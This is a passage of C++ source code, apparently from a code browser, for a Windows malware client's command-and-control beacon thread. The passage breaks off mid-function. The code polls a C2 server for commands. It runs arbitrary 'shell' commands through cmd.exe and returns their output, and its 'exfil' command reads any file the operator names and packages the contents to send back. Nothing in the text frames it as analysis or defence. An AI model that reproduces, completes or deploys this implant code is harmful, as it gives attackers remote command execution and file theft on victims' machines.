Function c2BeaconThread

client/c2Client.cpp:16–109

C2Client *g_c2Client = nullptr;

DWORD WINAPI c2BeaconThread(LPVOID lpParam)
{
    C2Client *c2 = (C2Client *)lpParam;
    c2->setActive(true);

    while (c2->isRunning())
    {
        try
        {
            // Beacon to C2 server
            vector<wstring> commands = c2->checkIn();

            // Execute commands
            for (const wstring &cmdLine : commands)
            {
                size_t pos = cmdLine.find(L'|');
                wstring cmd = (pos == wstring::npos) ? cmdLine : cmdLine.substr(0, pos);
                wstring args = (pos == wstring::npos) ? L"" : cmdLine.substr(pos + 1);
                wstring result;

                if (cmd == L"shell")
                {
                    wchar_t buffer[4096];
                    wstring cmdExec = wstring(L"cmd.exe") + L" /c " + args;
                    FILE *pipe = _wpopen(cmdExec.c_str(), L"r");
                    if (pipe)
                    {
                        wstring output;
                        while (fgetws(buffer, 4096, pipe))
                            output += buffer;
                        _pclose(pipe);
                        result = L"SHELL|" + output;
                    }
                    else
                    {
                        result = L"ERROR|Failed to execute command";
                    }
                }
                else if (cmd == L"exfil")
                {
                    // Convert path encoding
                    int len = WideCharToMultiByte(CP_UTF8, 0, args.c_str(), -1, NULL, 0, NULL, NULL);
                    string pathUtf8(len, 0);
                    WideCharToMultiByte(CP_UTF8, 0, args.c_str(), -1, &pathUtf8[0], len, NULL, NULL);

                    ifstream file(pathUtf8, ios::binary);
                    if (file)
                    {
                        stringstream buffer;
                        buffer << file.rdbuf();
                        string dataA = buffer.str();
                        wstring data(dataA.begin(), dataA.end());
                        result = L"EXFIL|" + data;
                    }
                    else
                    {
                        result = L"ERROR|File not found: " + args;
                    }